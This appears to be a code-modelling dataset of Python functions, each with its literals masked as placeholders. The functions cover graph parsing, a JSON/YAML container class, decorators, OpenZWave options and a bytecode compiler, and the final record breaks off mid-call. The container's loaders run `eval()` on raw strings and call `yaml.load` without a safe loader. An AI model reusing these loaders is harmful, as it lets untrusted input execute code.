{"signature": "@staticmethod<EOL><INDENT>def parse_dom(dom):<DEDENT>", "body": "root = dom.getElementsByTagName(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>graph = root.getElementsByTagName(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>name = graph.getAttribute('<STR_LIT:id>')<EOL>g = Graph(name)<EOL>for node in graph.getElementsByTagName(\"<STR_LIT>\"):<EOL><INDENT>n = g.add_node(id=node.getAttribute('<STR_LIT:id>'))<EOL>for attr in node.getElementsByTagName(\"<STR_LIT:data>\"):<EOL><INDENT>if attr.firstChild:<EOL><INDENT>n[attr.getAttribute(\"<STR_LIT:key>\")] = attr.firstChild.data<EOL><DEDENT>else:<EOL><INDENT>n[attr.getAttribute(\"<STR_LIT:key>\")] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>for edge in graph.getElementsByTagName(\"<STR_LIT>\"):<EOL><INDENT>source = edge.getAttribute('<STR_LIT:source>')<EOL>dest = edge.getAttribute('<STR_LIT:target>')<EOL>e = g.add_edge_by_id(source, dest)<EOL>for attr in edge.getElementsByTagName(\"<STR_LIT:data>\"):<EOL><INDENT>if attr.firstChild:<EOL><INDENT>e[attr.getAttribute(\"<STR_LIT:key>\")] = attr.firstChild.data<EOL><DEDENT>else:<EOL><INDENT>e[attr.getAttribute(\"<STR_LIT:key>\")] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>return g<EOL>", "docstring": "Parse dom into a Graph.\n\n        :param dom: dom as returned by minidom.parse or minidom.parseString\n        :return: A Graph representation", "id": "f8490:c0:m2"}
{"signature": "def parse_string(self, string):", "body": "dom = minidom.parseString(string)<EOL>return self.parse_dom(dom)<EOL>", "docstring": "Parse a string into a Graph.\n\n        :param string: String that is to be passed into Grapg\n        :return: Graph", "id": "f8490:c0:m4"}
{"signature": "def DFS_prefix(self, root=None):", "body": "if not root:<EOL><INDENT>root = self._root<EOL><DEDENT>return self._DFS_prefix(root)<EOL>", "docstring": "Depth-first search.\n\n.. seealso::\n   `Wikipedia DFS descritpion <http://en.wikipedia.org/wiki/Depth-first_search>`_\n\n:param root: first to start the search\n:return: list of nodes", "id": "f8491:c0:m1"}
{"signature": "def BFS(self, root=None):", "body": "if not root:<EOL><INDENT>root = self.root()<EOL><DEDENT>queue = deque()<EOL>queue.append(root)<EOL>nodes = []<EOL>while len(queue) > <NUM_LIT:0>:<EOL><INDENT>x = queue.popleft()<EOL>nodes.append(x)<EOL>for child in x.children():<EOL><INDENT>queue.append(child)<EOL><DEDENT><DEDENT>return nodes<EOL>", "docstring": "Breadth-first search.\n\n.. seealso::\n   `Wikipedia BFS descritpion <http://en.wikipedia.org/wiki/Breadth-first_search>`_\n\n:param root: first to start the search\n:return: list of nodes", "id": "f8491:c0:m3"}
{"signature": "def add_node(self,label):", "body": "try:<EOL><INDENT>n = self._nodes[label]<EOL><DEDENT>except KeyError:<EOL><INDENT>n = Node()<EOL>n['<STR_LIT:label>'] = label<EOL>self._nodes[label]=n<EOL><DEDENT>return n<EOL>", "docstring": "Return a node with label. Create node if label is new", "id": "f8491:c1:m2"}
{"signature": "def add_edge(self, n1_label, n2_label,directed=False):", "body": "n1 = self.add_node(n1_label)<EOL>n2 = self.add_node(n2_label)<EOL>e = Edge(n1, n2, directed)<EOL>self._edges.append(e)<EOL>return e<EOL>", "docstring": "Get or create edges using get_or_create_node", "id": "f8491:c1:m3"}
{"signature": "def flush_empty_nodes(self):", "body": "pass<EOL>", "docstring": "not implemented", "id": "f8491:c1:m4"}
{"signature": "def condense_edges(self):", "body": "pass<EOL>", "docstring": "if a node connects to only two edges, combine those\n        edges and delete the node.\n\n        not implemented", "id": "f8491:c1:m5"}
{"signature": "@classmethod<EOL><INDENT>def load(cls, fh):<DEDENT>", "body": "dat = fh.read()<EOL>try:<EOL><INDENT>ret = cls.from_json(dat)<EOL><DEDENT>except:<EOL><INDENT>ret = cls.from_yaml(dat)<EOL><DEDENT>return ret<EOL>", "docstring": "Load json or yaml data from file handle.\n\nArgs:\n    fh (file): File handle to load from.\n\nExamlple:\n    >>> with open('data.json', 'r') as json:\n    >>>    jsdata = composite.load(json)\n    >>>\n    >>> with open('data.yml', 'r') as yml:\n    >>>    ymldata = composite.load(yml)", "id": "f8499:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_json(cls, fh):<DEDENT>", "body": "if isinstance(fh, str):<EOL><INDENT>return cls(json.loads(fh))<EOL><DEDENT>else:<EOL><INDENT>return cls(json.load(fh))<EOL><DEDENT>", "docstring": "Load json from file handle.\n\nArgs:\n    fh (file): File handle to load from.\n\nExamlple:\n    >>> with open('data.json', 'r') as json:\n    >>>    data = composite.load(json)", "id": "f8499:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_yaml(cls, fh):<DEDENT>", "body": "return cls(yaml.load(fh))<EOL>", "docstring": "Load yaml from file handle.\n\nArgs:\n    fh (file): File handle to load from.\n\nExamlple:\n    >>> with open('data.yml', 'r') as json:\n    >>>    data = composite.load(json)", "id": "f8499:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_string(cls, string):<DEDENT>", "body": "return cls(eval(string))<EOL>", "docstring": "Load data from string.\n\nArgs:\n    string (str): String to load from.\n\nExamlple:\n    >>> with open('data.json', 'r') as json:\n    >>>     jdat = json.read()\n    >>> data = composite.from_string(jdat)", "id": "f8499:c0:m4"}
{"signature": "def intersection(self, other, recursive=True):", "body": "if not isinstance(other, composite):<EOL><INDENT>raise AssertionError('<STR_LIT>'.format(type(other)))<EOL><DEDENT>if self.meta_type != other.meta_type:<EOL><INDENT>return composite({})<EOL><DEDENT>if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>keep = []<EOL>for item in self._list:<EOL><INDENT>if item in other._list:<EOL><INDENT>if recursive and isinstance(item, composite):<EOL><INDENT>keep.extend(item.intersection(other.index(item), recursive=True))<EOL><DEDENT>else:<EOL><INDENT>keep.append(item)<EOL><DEDENT><DEDENT><DEDENT>return composite(keep)<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>keep = {}<EOL>for key in self._dict:<EOL><INDENT>item = self._dict[key]<EOL>if key in other._dict:<EOL><INDENT>if recursive andisinstance(item, composite) andisinstance(other.get(key), composite):<EOL><INDENT>keep[key] = item.intersection(other.get(key), recursive=True)<EOL><DEDENT>elif item == other[key]:<EOL><INDENT>keep[key] = item<EOL><DEDENT><DEDENT><DEDENT>return composite(keep)<EOL><DEDENT>return<EOL>", "docstring": "Recursively compute intersection of data. For dictionaries, items\nfor specific keys will be reduced to unique items. For lists, items\nwill be reduced to unique items. This method is meant to be analogous\nto set.intersection for composite objects.\n\nArgs:\n    other (composite): Other composite object to intersect with.\n    recursive (bool): Whether or not to perform the operation recursively,\n        for all nested composite objects.", "id": "f8499:c0:m18"}
{"signature": "def difference(self, other, recursive=True):", "body": "if not isinstance(other, composite):<EOL><INDENT>raise AssertionError('<STR_LIT>'.format(type(other)))<EOL><DEDENT>if self.meta_type != other.meta_type:<EOL><INDENT>return self<EOL><DEDENT>if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>keep = []<EOL>for item in self._list:<EOL><INDENT>if item not in other._list:<EOL><INDENT>if recursive and isinstance(item, composite):<EOL><INDENT>keep.extend(item.difference(other.index(item), recursive=True))<EOL><DEDENT>else:<EOL><INDENT>keep.append(item)<EOL><DEDENT><DEDENT><DEDENT>return composite(keep)<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>keep = {}<EOL>for key in self._dict:<EOL><INDENT>item = self._dict[key]<EOL>if key in other._dict:<EOL><INDENT>if recursive andisinstance(item, composite) andisinstance(other.get(key), composite):<EOL><INDENT>keep[key] = item.difference(other.get(key), recursive=True)<EOL><DEDENT>elif item != other[key]:<EOL><INDENT>keep[key] = item<EOL><DEDENT><DEDENT>else:<EOL><INDENT>keep[key] = item<EOL><DEDENT><DEDENT>return composite(keep)<EOL><DEDENT>return<EOL>", "docstring": "Recursively compute difference of data. For dictionaries, items\nfor specific keys will be reduced to differences. For lists, items\nwill be reduced to differences. This method is meant to be analogous\nto set.difference for composite objects.\n\nArgs:\n    other (composite): Other composite object to difference with.\n    recursive (bool): Whether or not to perform the operation recursively,\n        for all nested composite objects.", "id": "f8499:c0:m19"}
{"signature": "def union(self, other, recursive=True, overwrite=False):", "body": "if not isinstance(other, composite):<EOL><INDENT>raise AssertionError('<STR_LIT>'.format(type(other)))<EOL><DEDENT>if self.meta_type != other.meta_type:<EOL><INDENT>return composite([self, other])<EOL><DEDENT>if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>keep = []<EOL>for item in self._list:<EOL><INDENT>keep.append(item)<EOL><DEDENT>for item in other._list:<EOL><INDENT>if item not in self._list:<EOL><INDENT>keep.append(item)<EOL><DEDENT><DEDENT>return composite(keep)<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>keep = {}<EOL>for key in list(set(list(self._dict.keys()) + list(other._dict.keys()))):<EOL><INDENT>left = self._dict.get(key)<EOL>right = other._dict.get(key)<EOL>if recursive andisinstance(left, composite) andisinstance(right, composite):<EOL><INDENT>keep[key] = left.union(right, recursive=recursive, overwrite=overwrite)<EOL><DEDENT>elif left == right:<EOL><INDENT>keep[key] = left<EOL><DEDENT>elif left is None:<EOL><INDENT>keep[key] = right<EOL><DEDENT>elif right is None:<EOL><INDENT>keep[key] = left<EOL><DEDENT>elif overwrite:<EOL><INDENT>keep[key] = right<EOL><DEDENT>else:<EOL><INDENT>keep[key] = composite([left, right])<EOL><DEDENT><DEDENT>return composite(keep)<EOL><DEDENT>return<EOL>", "docstring": "Recursively compute union of data. For dictionaries, items\nfor specific keys will be combined into a list, depending on the\nstatus of the overwrite= parameter. For lists, items will be appended\nand reduced to unique items. This method is meant to be analogous\nto set.union for composite objects.\n\nArgs:\n    other (composite): Other composite object to union with.\n    recursive (bool): Whether or not to perform the operation recursively,\n        for all nested composite objects.\n    overwrite (bool): Whether or not to overwrite entries with the same\n        key in a nested dictionary.", "id": "f8499:c0:m20"}
{"signature": "def index(self, item):", "body": "return self._list.index(item)<EOL>", "docstring": "Return index containing value.", "id": "f8499:c0:m21"}
{"signature": "def get(self, *args, **kwargs):", "body": "return self._dict.get(*args, **kwargs)<EOL>", "docstring": "Return item or None, depending on if item exists. This is\nmeant to be similar to dict.get() for safe access of a property.", "id": "f8499:c0:m22"}
{"signature": "def pop(self, *args, **kwargs):", "body": "return self._dict.pop(*args, **kwargs)<EOL>", "docstring": "Return item or None, depending on if item exists. This is\nmeant to be similar to dict.pop() for safe access of a property.", "id": "f8499:c0:m23"}
{"signature": "def update(self, other):", "body": "if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>self._dict = dict(self + composite(other))<EOL>return<EOL><DEDENT>", "docstring": "Update internal dictionary object. This is meant to be an\nanalog for dict.update().", "id": "f8499:c0:m24"}
{"signature": "def keys(self):", "body": "if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>return None<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>return self._dict.keys()<EOL><DEDENT>", "docstring": "Return keys for object, if they are available.", "id": "f8499:c0:m25"}
{"signature": "def items(self):", "body": "if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>return self._list<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>return self._dict.items()<EOL><DEDENT>", "docstring": "Return keys for object, if they are available.", "id": "f8499:c0:m26"}
{"signature": "def values(self):", "body": "if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>return self._list<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>return self._dict.values()<EOL><DEDENT>", "docstring": "Return keys for object, if they are available.", "id": "f8499:c0:m27"}
{"signature": "def append(self, item):", "body": "if self.meta_type == '<STR_LIT>':<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>self._list.append(item)<EOL><DEDENT>return<EOL>", "docstring": "Append to object, if object is list.", "id": "f8499:c0:m28"}
{"signature": "def extend(self, item):", "body": "if self.meta_type == '<STR_LIT>':<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>self._list.extend(item)<EOL><DEDENT>return<EOL>", "docstring": "Extend list from object, if object is list.", "id": "f8499:c0:m29"}
{"signature": "def json(self):", "body": "if self.meta_type == '<STR_LIT:list>':<EOL><INDENT>ret = []<EOL>for dat in self._list:<EOL><INDENT>if not isinstance(dat, composite):<EOL><INDENT>ret.append(dat)<EOL><DEDENT>else:<EOL><INDENT>ret.append(dat.json())<EOL><DEDENT><DEDENT>return ret<EOL><DEDENT>elif self.meta_type == '<STR_LIT>':<EOL><INDENT>ret = {}<EOL>for key in self._dict:<EOL><INDENT>if not isinstance(self._dict[key], composite):<EOL><INDENT>ret[key] = self._dict[key]<EOL><DEDENT>else:<EOL><INDENT>ret[key] = self._dict[key].json()<EOL><DEDENT><DEDENT>return ret<EOL><DEDENT>", "docstring": "Return JSON representation of object.", "id": "f8499:c0:m30"}
{"signature": "def write_json(self, fh, pretty=True):", "body": "sjson = json.JSONEncoder().encode(self.json())<EOL>if pretty:<EOL><INDENT>json.dump(json.loads(sjson), fh, sort_keys=True, indent=<NUM_LIT:4>)<EOL><DEDENT>else:<EOL><INDENT>json.dump(json.loads(sjson), fh)<EOL><DEDENT>return<EOL>", "docstring": "Write composite object to file handle in JSON format.\n\nArgs:\n    fh (file): File handle to write to.\n    pretty (bool): Sort keys and indent in output.", "id": "f8499:c0:m31"}
{"signature": "def write_yaml(self, fh):", "body": "yaml.dump(self.json(), fh)<EOL>return<EOL>", "docstring": "Write composite object to file handle in YAML format.\n\nArgs:\n    fh (file): File handle to write to.", "id": "f8499:c0:m32"}
{"signature": "def write(self, fh, pretty=True):", "body": "return self.write_json(fh, pretty=pretty)<EOL>", "docstring": "API niceness defaulting to composite.write_json().", "id": "f8499:c0:m33"}
{"signature": "def __str__(self):", "body": "def jstr(data, tab='<STR_LIT>'):<EOL><INDENT>res = '<STR_LIT>'<EOL>for item in data:<EOL><INDENT>if isinstance(data[item], basestring):<EOL><INDENT>res += tab + item + '<STR_LIT:\\n>'<EOL><DEDENT>else:<EOL><INDENT>res += tab + item + '<STR_LIT>'<EOL>res += jstr(data[item], tab=tab+'<STR_LIT:\\t>')<EOL><DEDENT><DEDENT>return res<EOL><DEDENT>return jstr(self.json())<EOL>", "docstring": ".. NOTE:: This needs to be completed -- print filetree", "id": "f8499:c1:m2"}
{"signature": "def get(self, item):", "body": "return self._data.get(item)<EOL>", "docstring": "Safe way to get items, similar to __dict__.get().\n\nArgs:\n    item (str): Item to get in file tree.", "id": "f8499:c1:m8"}
{"signature": "def json(self):", "body": "data = {}<EOL>for item in self._data:<EOL><INDENT>if isinstance(self._data[item], filetree):<EOL><INDENT>data[item] = self._data[item].json()<EOL><DEDENT>else:<EOL><INDENT>data[item] = self._data[item]<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Return JSON representation of object.", "id": "f8499:c1:m9"}
{"signature": "def filelist(self):", "body": "if len(self._filelist) == <NUM_LIT:0>:<EOL><INDENT>for item in self._data:<EOL><INDENT>if isinstance(self._data[item], filetree):<EOL><INDENT>self._filelist.extend(self._data[item].filelist())<EOL><DEDENT>else:<EOL><INDENT>self._filelist.append(self._data[item])<EOL><DEDENT><DEDENT><DEDENT>return self._filelist<EOL>", "docstring": "Return list of files in filetree.", "id": "f8499:c1:m11"}
{"signature": "def prune(self, regex=r\"<STR_LIT>\"):", "body": "return filetree(self.root, ignore=self.ignore, regex=regex)<EOL>", "docstring": "Prune leaves of filetree according to specified\nregular expression.\n\nArgs:\n    regex (str): Regular expression to use in pruning tree.", "id": "f8499:c1:m12"}
{"signature": "def depricated_name(newmethod):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>warnings.simplefilter('<STR_LIT>', DeprecationWarning) <EOL>warnings.warn(<EOL>\"<STR_LIT>\".format(func.__name__, newmethod),<EOL>category=DeprecationWarning, stacklevel=<NUM_LIT:2><EOL>)<EOL>warnings.simplefilter('<STR_LIT:default>', DeprecationWarning)<EOL>return func(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator for warning user of depricated functions before use.\n\nArgs:\n    newmethod (str): Name of method to use instead.", "id": "f8502:m0"}
{"signature": "def deprecated(func):", "body": "@wraps(func)<EOL>def decorator(*args, **kwargs):<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\".format(func.__name__),<EOL>category=DeprecationWarning, stacklevel=<NUM_LIT:2><EOL>)<EOL>return func(*args, **kwargs)<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator for warning user of depricated functions before use.", "id": "f8502:m1"}
{"signature": "def require(method):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>if not hasattr(args[<NUM_LIT:0>], method):<EOL><INDENT>raise AssertionError('<STR_LIT>'.format(args[<NUM_LIT:0>].__class__.__name__, method))<EOL><DEDENT>callmethod = method + '<STR_LIT>'<EOL>if not hasattr(args[<NUM_LIT:0>], callmethod):<EOL><INDENT>setattr(args[<NUM_LIT:0>], callmethod, False)<EOL><DEDENT>if not getattr(args[<NUM_LIT:0>], callmethod):<EOL><INDENT>getattr(args[<NUM_LIT:0>], method)()<EOL>setattr(args[<NUM_LIT:0>], callmethod, True)<EOL><DEDENT>return func(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator for managing chained dependencies of different class\nproperties. The @require decorator allows developers to specify\nthat a function call must be operated on before another property\nor function call is accessed, so that data and processing for an\nentire class can be evaluated in a lazy way (i.e. not all upon\ninstantiation).\n\nExamples:\n\n    >>> class Foo(Bar):\n    >>>\n    >>>    def a(self):\n    >>>        print 'a!'\n    >>>        return 1\n    >>>\n    >>>    @require('a')\n    >>>    @property\n    >>>    def b(self):\n    >>>        print 'b!'\n    >>>        return self.a + 1\n    >>>\n    >>> foo = Foo()\n    >>> print foo.b\n    >>>\n    'a!'\n    'b!'\n    2", "id": "f8503:m0"}
{"signature": "def exception(exception):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>except Exception as exe:<EOL><INDENT>raise raise_with_traceback(exception(exe))<EOL><DEDENT><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Wrap function/method with specific exception if any\nexception occurs during function execution.\n\nArgs:\n    exception (Exception): Exception to re-cast error as.\n\nExamples:\n    >>> from gems import exception\n    >>>\n    >>> class MyCustomException(Exception):\n    >>>     pass\n    >>>\n    >>> @exception(MyCustomException)\n    >>> def func():\n    >>>     return 1 / 0\n    >>>\n    >>> func()\n    Traceback (most recent call last):\n      File \"<stdin>\", line 1, in <module>\n      File \"gems/decorators.py\", line 96, in wrapper\n        return func(*args, **kwargs)\n      File \"<stdin>\", line 3, in func\n    __main__.MyCustomException: integer division or modulo by zero", "id": "f8503:m1"}
{"signature": "def keywords(func):", "body": "@wraps(func)<EOL>def decorator(*args, **kwargs):<EOL><INDENT>idx = <NUM_LIT:0> if inspect.ismethod(func) else <NUM_LIT:1><EOL>if len(args) > idx:<EOL><INDENT>if isinstance(args[idx], (dict, composite)):<EOL><INDENT>for key in args[idx]:<EOL><INDENT>kwargs[key] = args[idx][key]<EOL><DEDENT>args = args[:idx]<EOL><DEDENT><DEDENT>return func(*args, **kwargs)<EOL><DEDENT>return decorator<EOL>", "docstring": "Accumulate all dictionary and named arguments as\nkeyword argument dictionary. This is generally useful for\nfunctions that try to automatically resolve inputs.\n\nExamples:\n    >>> @keywords\n    >>> def test(*args, **kwargs):\n    >>>     return kwargs\n    >>>\n    >>> print test({'one': 1}, two=2)\n    {'one': 1, 'two': 2}", "id": "f8503:m2"}
{"signature": "def __init__(self, config_path=None, user_path=\"<STR_LIT:.>\", cmd_line=\"<STR_LIT>\"):", "body": "if config_path is None:<EOL><INDENT>config_path = self.getConfigPath()<EOL><DEDENT>if config_path is None:<EOL><INDENT>raise LibZWaveException(\"<STR_LIT>\")<EOL><DEDENT>self._config_path = config_path<EOL>if user_path is None:<EOL><INDENT>user_path = \"<STR_LIT:.>\"<EOL><DEDENT>self._user_path = user_path<EOL>if cmd_line is None:<EOL><INDENT>cmd_line=\"<STR_LIT>\"<EOL><DEDENT>self._cmd_line = cmd_line<EOL>self.create(self._config_path, self._user_path, self._cmd_line)<EOL>", "docstring": "Create an option object and check that parameters are valid.\n\n:param device: The device to use\n:type device: str\n:param config_path: The openzwave config directory. If None, try to configure automatically.\n:type config_path: str\n:param user_path: The user directory\n:type user_path: str\n:param cmd_line: The \"command line\" options of the openzwave library\n:type cmd_line: str", "id": "f8510:c0:m0"}
{"signature": "def create(self, a, b, c):", "body": "self.options = CreateOptions(<EOL>str_to_cppstr(a), str_to_cppstr(b), str_to_cppstr(c))<EOL>return True<EOL>", "docstring": ".. _createoptions:\n\nCreate an option object used to start the manager\n\n:param a: The path of the config directory\n:type a: str\n:param b: The path of the user directory\n:type b: str\n:param c: The \"command line\" options of the openzwave library\n:type c: str\n\n:see: destroyoptions_", "id": "f8510:c0:m1"}
{"signature": "def destroy(self):", "body": "return self.options.Destroy()<EOL>", "docstring": ".. _destroyoptions:\n\n Deletes the Options and cleans up any associated objects.\n The application is responsible for destroying the Options object,\n but this must not be done until after the Manager object has been\n destroyed.\n\n:return: The result of the operation.\n:rtype: bool\n\n:see: createoptions_", "id": "f8510:c0:m2"}
{"signature": "def lock(self):", "body": "return self.options.Lock()<EOL>", "docstring": ".. _lock:\n\nLock the options. Needed to start the manager\n\n:return: The result of the operation.\n:rtype: bool\n\n:see: areLocked_", "id": "f8510:c0:m3"}
{"signature": "def areLocked(self):", "body": "return self.options.AreLocked()<EOL>", "docstring": ".. _areLocked:\n\n Test whether the options have been locked.\n\n:return: true if the options have been locked.\n:rtype: boolean\n\n:see: lock_", "id": "f8510:c0:m4"}
{"signature": "def addOptionBool(self, name, value):", "body": "return self.options.AddOptionBool(str_to_cppstr(name), value)<EOL>", "docstring": ".. _addOptionBool:\n\nAdd a boolean option.\n\n:param name: The name of the option.\n:type name: str\n:param value: The value of the option.\n:type value: boolean\n:return: The result of the operation.\n:rtype: bool\n\n:see: addOption_, addOptionInt_, addOptionString_", "id": "f8510:c0:m5"}
{"signature": "def addOptionInt(self, name, value):", "body": "return self.options.AddOptionInt(str_to_cppstr(name), value)<EOL>", "docstring": ".. _addOptionInt:\n\nAdd an integer option.\n\n:param name: The name of the option.\n:type name: str\n:param value: The value of the option.\n:type value: boolean\n:return: The result of the operation.\n:rtype: bool\n\n:see: addOption_, addOptionBool_, addOptionString_", "id": "f8510:c0:m6"}
{"signature": "def addOptionString(self, name, value, append=False):", "body": "return self.options.AddOptionString(<EOL>str_to_cppstr(name), str_to_cppstr(value), append)<EOL>", "docstring": ".. _addOptionString:\n\nAdd a string option.\n\n:param name: The name of the option.  Option names are case insensitive and must be unique.\n:type name: str\n:param value: The value of the option.\n:type value: str\n:param append: Setting append to true will cause values read from the command line\n or XML file to be concatenated into a comma delimited set.  If _append is false,\n newer values will overwrite older ones.\n:type append: boolean\n:return: The result of the operation.\n:rtype: bool\n\n:see: addOption_, addOptionBool_, addOptionInt_", "id": "f8510:c0:m7"}
{"signature": "def addOption(self, name, value):", "body": "if name not in PyOptionList:<EOL><INDENT>return False<EOL><DEDENT>if PyOptionList[name]['<STR_LIT:type>'] == \"<STR_LIT>\":<EOL><INDENT>return self.addOptionString(name, value)<EOL><DEDENT>elif PyOptionList[name]['<STR_LIT:type>'] == \"<STR_LIT>\":<EOL><INDENT>return self.addOptionBool(name, value)<EOL><DEDENT>elif PyOptionList[name]['<STR_LIT:type>'] == \"<STR_LIT>\":<EOL><INDENT>return self.addOptionInt(name, value)<EOL><DEDENT>return False<EOL>", "docstring": ".. _addOption:\n\nAdd an option.\n\n:param name: The name of the option.\n:type name: string\n:param value: The value of the option.\n:type value: boolean, integer, string\n:return: The result of the operation.\n:rtype: bool\n\n:see: addOptionBool_, addOptionInt_, addOptionString_", "id": "f8510:c0:m8"}
{"signature": "def getOption(self, name):", "body": "if name not in PyOptionList:<EOL><INDENT>return None<EOL><DEDENT>if PyOptionList[name]['<STR_LIT:type>'] == \"<STR_LIT>\":<EOL><INDENT>return self.getOptionAsString(name)<EOL><DEDENT>elif PyOptionList[name]['<STR_LIT:type>'] == \"<STR_LIT>\":<EOL><INDENT>return self.getOptionAsBool(name)<EOL><DEDENT>elif PyOptionList[name]['<STR_LIT:type>'] == \"<STR_LIT>\":<EOL><INDENT>return self.getOptionAsInt(name)<EOL><DEDENT>return False<EOL>", "docstring": ".. _getOption:\n\nRetrieve option of a value.\n\n:param name: The name of the option.\n:type name: string\n:return: The value\n:rtype: boolean, integer, string or None\n\n:see: getOptionAsBool_, getOptionAsInt_, getOptionAsString_", "id": "f8510:c0:m9"}
{"signature": "def getConfigPath(self):", "body": "return configPath()<EOL>", "docstring": ".. _getConfigPath:\n\nRetrieve the config path. This directory hold the xml files.\n\n:return: A string containing the library config path or None.\n:rtype: str", "id": "f8510:c0:m10"}
{"signature": "def compile_bytecode(code: list) -> bytes:", "body": "bc = b\"<STR_LIT>\"<EOL>for i, op in enumerate(code):<EOL><INDENT>try:<EOL><INDENT>if isinstance(op, _PyteOp) or isinstance(op, _PyteAugmentedComparator):<EOL><INDENT>bc_op = op.to_bytes(bc)<EOL><DEDENT>elif isinstance(op, int):<EOL><INDENT>bc_op = op.to_bytes(<NUM_LIT:1>, byteorder=\"<STR_LIT>\")<EOL><DEDENT>elif isinstance(op, bytes):<EOL><INDENT>bc_op = op<EOL><DEDENT>else:<EOL><INDENT>raise CompileError(\"<STR_LIT>\".format(type(op)))<EOL><DEDENT>bc += bc_op<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\".format(i=i, op=op))<EOL>raise e<EOL><DEDENT><DEDENT>return bc<EOL>", "docstring": "Compiles Pyte objects into a bytecode list.\n\n:param code: A list of objects to compile.\n:return: The computed bytecode.", "id": "f8513:m0"}
{"signature": "def _simulate_stack(code: list) -> int:", "body": "max_stack = <NUM_LIT:0><EOL>curr_stack = <NUM_LIT:0><EOL>def _check_stack(ins):<EOL><INDENT>if curr_stack < <NUM_LIT:0>:<EOL><INDENT>raise CompileError(\"<STR_LIT>\".format(ins))<EOL><DEDENT>if curr_stack > max_stack:<EOL><INDENT>return curr_stack<EOL><DEDENT><DEDENT>for instruction in code:<EOL><INDENT>assert isinstance(instruction, dis.Instruction)<EOL>if instruction.arg is not None:<EOL><INDENT>try:<EOL><INDENT>effect = dis.stack_effect(instruction.opcode, instruction.arg)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise CompileError(\"<STR_LIT>\"<EOL>.format(instruction.opcode)) from e<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>effect = dis.stack_effect(instruction.opcode)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise CompileError(\"<STR_LIT>\"<EOL>.format(instruction.opcode)) from e<EOL><DEDENT><DEDENT>curr_stack += effect<EOL>_should_new_stack = _check_stack(instruction)<EOL>if _should_new_stack:<EOL><INDENT>max_stack = _should_new_stack<EOL><DEDENT><DEDENT>return max_stack<EOL>", "docstring": "Simulates the actions of the stack, to check safety.\n\nThis returns the maximum needed stack.", "id": "f8513:m1"}
{"signature": "def compile(code: list, consts: list, names: list, varnames: list,<EOL>func_name: str = \"<STR_LIT>\",<EOL>arg_count: int = <NUM_LIT:0>, kwarg_defaults: Tuple[Any] = (), use_safety_wrapper: bool = True):", "body": "varnames = tuple(varnames)<EOL>consts = tuple(consts)<EOL>names = tuple(names)<EOL>code = util.flatten(code)<EOL>if arg_count > len(varnames):<EOL><INDENT>raise CompileError(\"<STR_LIT>\")<EOL><DEDENT>if len(kwarg_defaults) > len(varnames):<EOL><INDENT>raise CompileError(\"<STR_LIT>\")<EOL><DEDENT>bc = compile_bytecode(code)<EOL>dis.dis(bc)<EOL>if PY36:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if bc[-<NUM_LIT:1>] != tokens.RETURN_VALUE:<EOL><INDENT>raise CompileError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>flags = <NUM_LIT:1> | <NUM_LIT:2> | <NUM_LIT:64><EOL>frame_data = inspect.stack()[<NUM_LIT:1>]<EOL>if sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] > (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>stack_size = _simulate_stack(dis._get_instructions_bytes(<EOL>bc, constants=consts, names=names, varnames=varnames)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>warnings.warn(\"<STR_LIT>\")<EOL>stack_size = <NUM_LIT><EOL><DEDENT>_optimize_warn_pass(dis._get_instructions_bytes(bc, constants=consts, names=names, varnames=varnames))<EOL>obb = types.CodeType(<EOL>arg_count,  <EOL><NUM_LIT:0>,  <EOL>len(varnames),  <EOL>stack_size,  <EOL>flags,  <EOL>bc,  <EOL>consts,  <EOL>names,  <EOL>varnames,  <EOL>frame_data[<NUM_LIT:1>],  <EOL>func_name,  <EOL>frame_data[<NUM_LIT:2>],  <EOL>b'<STR_LIT>',  